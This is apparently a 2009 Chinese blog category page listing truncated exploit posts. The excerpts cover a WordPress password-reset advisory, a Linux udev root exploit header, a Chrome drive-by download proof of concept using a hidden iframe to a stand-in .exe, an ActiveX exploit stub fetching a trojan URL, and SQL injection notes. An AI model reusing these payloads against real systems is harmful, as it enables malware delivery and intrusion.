百度空间 | 百度首页 
 
文章列表
 
您正在查看 "3xp" 分类下的文章

2009-08-11 23:00
=============================================
- Release date: August 10th, 2009
- Discovered by: Laurent Gaffié
- Severity: Medium
=============================================

I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free a
类别:3xp | 评论(0) | 浏览()
 
2009-04-27 21:39
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique 
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,w
类别:3xp | 评论(0) | 浏览()
 
2008-11-05 20:34
邪八发布的EXP下载页面:
http://forum.eviloctal.com/viewthread.php?tid=34090

全自动EXP下载页面(在下面):
http://forum.eviloctal.com/thread-34106-1-1.html


类别:3xp | 评论(0) | 浏览()
 
2008-09-07 08:46

form:0day量贩

公司前期花大半年时间搞的一个项目算是彻底泡汤了,几十W真金白银如数打了水漂,基本上泡泡都没冒一个,新任务下来了,居然叫我整理基于CVE的入侵检测库,唉.

    劳骚到此为止,说正题,08046估计国内很多小牛大牛搞出来了.最早知道有这么个洞大约是在今年三四月份,听某牛man说有个系统默认支持的图片格式的洞,结果四月份出了个MS08-021,POC也有公开的,当时以为传言指的就是这两个"鸡肋".没想到8月份MS又出了MS08-046,分析过程如下:

    先认

类别:3xp | 评论(0) | 浏览()
 
2008-09-04 17:12

Author: nerex

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically downloaded to the user's computer without any user prompt.

-------------------------------code------------------------------------------------

<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</s

类别:3xp | 评论(0) | 浏览()
 
2008-08-20 16:27
漏洞说明:DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,
类别:3xp | 评论(1) | 浏览()
 
2008-07-25 15:03
Infoworld 报道,著名黑客HD Moore已经率先公布了可用代码.利用这段代码可以对DNS服务器进行投毒,将一条恶意纪录植入目标服务器,该服务器将随机发起域名查询,此时攻击者可以提供伪造的响应,将域名服务器中的纪录指向其特定站点.这个漏洞攻击可以默默的改变用户的升级服务下载恶意软件,IOActive研究者Dan Kaminsky很早发现漏洞并且无意中这周公布了漏洞使得开发出攻击代码.infoworld.com网站也提醒了这个攻击导致的网络钓鱼欺骗的问题. 通过这个网址http://metasploit.com/dev/trac/changeset/5579可以看到国外黑客发布的DNS漏洞攻击代码
类别:3xp | 评论(0) | 浏览()
 
2008-07-25 00:07
/* Microsoft Access Snapshot Viewer ActiveX Control Exploit Ms-Acees SnapShot Exploit Snapview.ocx v 10.0.5529.0 Download nice binaries into an arbitrary box Vulnerability discovered by Oliver Lavery http://www.securityfocus.com/bid/8536/info Remote: Yes greetz to str0ke */ #include #include #define Filename "Ms-Access-SnapShot.html" FILE *File; char data[] = " \n\n" "\nvar arbitrary_file = 'http://path_to_trojan'\n"
类别:3xp | 评论(1) | 浏览()
 
2008-07-08 11:02
Date:2008-5-15 Author:Yamato[BCT] Version:Oblog 4.5-4.6 sql 代码分析: 文件In/Class_UserCommand.asp : strMonth=Request("month") //第63行 strDay=Request("day") …… Case "month" //第84行 Dim LastDay G_P_FileName = G_P_FileName & "month&month=" & strMonth strDay=Left(strMonth,4) & "-" & Right(strMonth,2) & "-01" mYear=Left(strMonth,4) mMonth=Right(strMonth,2) If InStr ("01,03,05,07,08,10,12",mMonth)> 0 Then LastDay = "31"…… Else //第109行 SqlPart = " And Addtime >='"
类别:3xp | 评论(0) | 浏览()
 
2008-06-19 12:34

Python代码 各位大大自己分析写其他版吧
常来http://www.80sec.com

# -*- coding: gb2312 -*-
import urllib2,httplib,sys
httplib.HTTPConnection.debuglevel = 1
cookies = urllib2.HTTPCookieProcessor()
opener = urllib2.build_opener(cookies)

def banner():
print ""
print "########################################################"
print "Phpw

类别:3xp | 评论(0) | 浏览()
 
     
 
 
文章分类
 
 
 
 
3xp(29)
 
 
Xss(29)
 
 
 
原创(11)
 
 
 
 
     
 
文章存档
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
     
 
最新文章评论
   
 

有创意!
 
 
 
 
     


©2009 Baidu